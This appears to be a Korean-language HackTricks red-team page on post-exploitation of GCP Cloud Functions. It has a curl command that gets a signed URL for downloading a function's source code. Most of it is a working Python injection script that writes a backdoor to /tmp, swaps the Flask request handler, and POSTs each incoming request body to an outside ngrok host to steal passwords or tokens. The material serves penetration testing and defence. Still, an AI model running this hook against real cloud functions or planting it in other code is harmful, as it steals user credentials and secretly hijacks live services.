GCP - Cloud Functions Post Exploitation

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!

HackTricks를 지원하는 다른 방법:

클라우드 함수

클라우드 함수에 대한 정보를 찾으세요:

pageGCP - Cloud Functions Enum

cloudfunctions.functions.sourceCodeGet

이 권한을 사용하면 클라우드 함수의 소스 코드를 다운로드할 수 있는 서명된 URL을 얻을 수 있습니다:

curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

클라우드 함수 요청 도용

만약 클라우드 함수가 사용자가 보내는 민감한 정보(예: 비밀번호 또는 토큰)를 관리하고 있다면, 충분한 권한이 있다면 함수의 소스 코드를 수정하고 이 정보를 유출할 수 있습니다.

또한, 파이썬에서 실행되는 클라우드 함수는 웹 서버를 노출하기 위해 flask를 사용합니다. 만약 flaks 프로세스 내에서 코드 삽입 취약점을 발견한다면(SSTI 취약점 예를 들어), 악의적인 함수로 HTTP 요청을 받을 함수 핸들러를 덮어쓰는 것이 가능하며, 이를 통해 요청을 전달하기 전에 악성 함수가 요청을 유출할 수 있습니다.

다음은 이 공격을 구현한 코드입니다:

import functions_framework


# Some python handler code
@functions_framework.http
def hello_http(request, last=False, error=""):
"""HTTP Cloud Function.
Args:
request (flask.Request): The request object.
<https://flask.palletsprojects.com/en/1.1.x/api/#incoming-request-data>
Returns:
The response text, or any set of values that can be turned into a
Response object using `make_response`
<https://flask.palletsprojects.com/en/1.1.x/api/#flask.make_response>.
"""

if not last:
return injection()
else:
if error:
return error
else:
return "Hello World!"



# Attacker code to inject
# Code based on the one from https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py

new_function = """
def exfiltrate(request):
try:
from urllib import request as urllib_request
req = urllib_request.Request("https://8b01-81-33-67-85.ngrok-free.app", data=bytes(str(request._get_current_object().get_data()), "utf-8"), method="POST")
urllib_request.urlopen(req, timeout=0.1)
except Exception as e:
if not "read operation timed out" in str(e):
return str(e)

return ""

def new_http_view_func_wrapper(function, request):
def view_func(path):
try:
error = exfiltrate(request)
return function(request._get_current_object(), last=True, error=error)
except Exception as e:
return str(e)

return view_func
"""

def injection():
global new_function
try:
from flask import current_app as app
import flask
import os
import importlib
import sys

if os.access('/tmp', os.W_OK):
new_function_path = "/tmp/function.py"
with open(new_function_path, "w") as f:
f.write(new_function)
os.chmod(new_function_path, 0o777)

if not os.path.exists('/tmp/function.py'):
return "/tmp/function.py doesn't exists"

# Get relevant function names
handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (./main.py by default)
realpath = os.path.realpath(source_path) # Get full path

# Get the modules representations
spec_handler = importlib.util.spec_from_file_location("main_handler", realpath)
module_handler = importlib.util.module_from_spec(spec_handler)

spec_backdoor = importlib.util.spec_from_file_location('backdoor', '/tmp/function.py')
module_backdoor = importlib.util.module_from_spec(spec_backdoor)

# Load the modules inside the app context
with app.app_context():
spec_handler.loader.exec_module(module_handler)
spec_backdoor.loader.exec_module(module_backdoor)

# make the cloud funtion use as handler the new function
prev_handler = getattr(module_handler, handler_fname)
new_func_wrap = getattr(module_backdoor, 'new_http_view_func_wrapper')
app.view_functions["run"] = new_func_wrap(prev_handler, flask.request)
return "Injection completed!"

except Exception as e:
return str(e)

最終更新